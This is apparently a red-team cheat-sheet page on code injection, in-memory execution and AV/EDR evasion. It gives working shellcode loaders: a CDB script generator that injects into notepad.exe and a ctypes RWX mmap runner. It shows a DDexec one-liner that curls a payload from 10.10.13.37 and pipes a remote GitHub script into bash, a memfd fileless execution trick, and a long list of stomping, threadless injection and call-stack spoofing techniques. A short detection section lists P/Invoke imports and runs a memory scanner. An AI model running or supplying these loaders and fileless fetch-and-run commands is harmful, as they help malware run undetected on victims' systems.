Code Injection
Shellcode as Function
cdb.exe (Debugging Tools for Windows)
Convert raw shellcode to a CDB script:
import sys
with open(sys.argv[1], 'rb') as f:
shellcode = f.read()
arr = [f';eb @$t0+{hex(i)[2:].zfill(2)} {hex(b)[2:].zfill(2).upper()}' for i, b in enumerate(shellcode)]
with open('out.wds', 'w') as f:
f.write(f'.foreach /pS 5 (register {{.dvalloc {len(shellcode)}}}) {{r @$t0 = register}}\n')
f.write('\n'.join([''.join(arr[i:i+16]) for i in range(0, len(arr), 16)]) + '\n')
f.write('r @$ip=@$t0\n')
f.write('g\n')Run the shellcode in the debugged process:
Cmd > py .\cdb.py calc.bin
Cmd > cdb.exe -pd -cf .\out.wds -o notepad.exeLinux In-Memory Code Execution
Memory Manipulation with Python
Convert an ELF to PIC, inject it and run from memory:
$ gcc hello.c -fno-stack-protector -fPIE -fpic -static --entry=main -o hello
$ python3 -m shelf --input hello
$ python3 run_sc.py# https://blog.sektor7.net/#!res/2018/pure-in-memory-linux.md#Python
from ctypes import (CDLL, c_void_p, c_size_t, c_int, c_long, memmove, CFUNCTYPE, cast, pythonapi)
from ctypes.util import find_library
PROT_READ = 0x01
PROT_WRITE = 0x02
PROT_EXEC = 0x04
MAP_PRIVATE = 0x02
MAP_ANONYMOUS = 0x20
with open('hellointel_x64.out.shell', 'rb') as f:
sc = f.read()
libc = CDLL(find_library('c'))
mmap = libc.mmap
mmap.argtypes = [c_void_p, c_size_t, c_int, c_int, c_int, c_size_t]
mmap.restype = c_void_p
page_size = pythonapi.getpagesize()
sc_size = len(sc)
mem_size = page_size * (1 + sc_size / page_size)
cptr = mmap(0, int(mem_size), PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0)
memmove(cptr, sc, sc_size)
sc = CFUNCTYPE(c_void_p, c_void_p)
call_sc = cast(cptr, sc)
call_sc(None)DDexec
Run binaries from memory without touching the disk:
$1 base64 /bin/ls -w0 > ls.b64
$2 curl -sS 10.10.13.37/ls.b64 | bash <(curl -sSL https://github.com/arget13/DDexec/raw/main/ddexec.sh) /bin/NonExistentBinary -laAnother trick to do semi-fileless ELF execution with a pre-created process descriptor:
$ python3 -c 'import os;os.fork()or(os.setsid(),print(f"/proc/{os.getpid()}/fd/{os.memfd_create(str())}"),os.kill(os.getpid(),19))'
$ cat /usr/bin/date > /proc/1732982/fd/4
$ /proc/1732982/fd/4Tools
Non-Standard GetModuleHandle/GetProcAddress
RtlRemoteCall
DLL Hollowing / Module Stomping
Variations of (Phantom) DLL Hollowing
Advanced Module Stomping
Module Overloading
Module Shifting
Process Stomping
Module Stomping in C#
Function Stomping / Threadless Injection
ThreadlessInject
Thread Pools (PoolParty)
VEH (Vectored Exception Handling)
Early Cascade
Thread Name-Calling Injection
Waiting Thread Hijacking
Control Flow Hijacking (Data Pointers)
Shellcode In-Memory Fluctuation (Obfuscate and Sleep)
gargoyle
Memory Scanners
PS > curl https://github.com/forrest-orr/moneta/releases/download/1.0/Moneta64.exe -o Moneta64.exe
PS > .\Moneta64.exe -p ((Get-Process notepad).Id) -m region --address 0xd34dc0d31000Return Address / Call Stack Spoofing
Return Address Spoofing
ThreadStackSpoofer
An alternative way to get the nearest return address in current stack frame (besides _ReturnAddress and _AddressOfReturnAddress) without manually walking the stack:
#include <intrin.h>
#include <windows.h>
#include <iostream>
#include <sstream>
#include <iomanip>
// https://github.com/mgeeky/ThreadStackSpoofer/blob/f67caea38a7acdb526eae3aac7c451a08edef6a9/ThreadStackSpoofer/header.h#L38-L45
template<class... Args>
void log(Args... args)
{
std::stringstream oss;
(oss << ... << args);
std::cout << oss.str() << std::endl;
}
// https://github.com/mgeeky/ThreadStackSpoofer/blob/f67caea38a7acdb526eae3aac7c451a08edef6a9/ThreadStackSpoofer/main.cpp#L13-L14
void addressOfReturnAddress() {
auto pRetAddr = (PULONG_PTR)_AddressOfReturnAddress(); // https://doxygen.reactos.org/d6/d8c/intrin__ppc_8h_source.html#l00040
log("Original return address via _AddressOfReturnAddress: 0x", std::hex, std::setw(8), std::setfill('0'), *pRetAddr);
}
// https://stackoverflow.com/a/1334586/6253579
void rtlCaptureStackBackTrace() {
typedef USHORT(WINAPI* CaptureStackBackTraceType)(__in ULONG, __in ULONG, __out PVOID*, __out_opt PULONG);
CaptureStackBackTraceType RtlCaptureStackBackTrace = (CaptureStackBackTraceType)(GetProcAddress(LoadLibrary("ntdll.dll"), "RtlCaptureStackBackTrace"));
void* callers[2] = { NULL };
int count = (RtlCaptureStackBackTrace)(1, 2, callers, NULL);
log("Original return address via RtlCaptureStackBackTrace: 0x", std::hex, std::setw(8), std::setfill('0'), (DWORD64)callers[0]);
}
int main(int argc, char** argv)
{
addressOfReturnAddress();
rtlCaptureStackBackTrace();
return 0;
}Call Stack Spoofing
VulcanRaven
SilentMoonwalk
LoudSunRun
DreamWalkers
Proxy DLL Loading / Legit API Proxying
Hook NtCreateSection
Avoid PsSetCreateThreadNotifyRoutine
ntdll!Ldrp* Shenanigans
EDR Preloading
Shellcode Encryption
SystemFunction032 / SystemFunction033
SystemFunction040 / SystemFunction041
Shellcode Execution via Callbacks
PE to Shellcode
sRDI
Donut
Python
AV / EDR EvasionInflativeLoading
Crystal Palace
PE Injection
Backdoor Legit PE
SuperMega
Detection
Show P/Invoke imports in a .NET assembly with System.Reflection.Metadata and PowerShell Core (stolen from 1, 2):
$assembly = "\path\to\csharp\binary.exe"
$stream = [System.IO.File]::OpenRead($assembly)
$peReader = [System.Reflection.PortableExecutable.PEReader]::new($stream, [System.Reflection.PortableExecutable.PEStreamOptions]::LeaveOpen -bor [System.Reflection.PortableExecutable.PEStreamOptions]::PrefetchMetadata)
$metadataReader = [System.Reflection.Metadata.PEReaderExtensions]::GetMetadataReader($peReader)
$assemblyDefinition = $metadataReader.GetAssemblyDefinition()
foreach($typeHandler in $metadataReader.TypeDefinitions) {
$typeDef = $metadataReader.GetTypeDefinition($typeHandler)
foreach($methodHandler in $typeDef.GetMethods()) {
$methodDef = $metadataReader.GetMethodDefinition($methodHandler)
$import = $methodDef.GetImport()
if ($import.Module.IsNil) {
continue
}
$dllImportFuncName = $metadataReader.GetString($import.Name)
$dllImportParameters = $import.Attributes.ToString()
$dllImportPath = $metadataReader.GetString($metadataReader.GetModuleReference($import.Module).Name)
Write-Host "$dllImportPath, $dllImportParameters`n$dllImportFuncName`n"
}
}Another method with a PowerShell one-liner:
([System.Reflection.Assembly]::LoadFile("\path\to\csharp\binary.exe")).GetTypes() | % {$_.GetMethods([Reflection.BindingFlags]::Public -bxor [Reflection.BindingFlags]::NonPublic -bxor [Reflection.BindingFlags]::Static) | ? {$_.Attributes -band [Reflection.MethodAttributes]::PinvokeImpl}} | fl -Property Name,DeclaringType,CustomAttributesTools
Last updated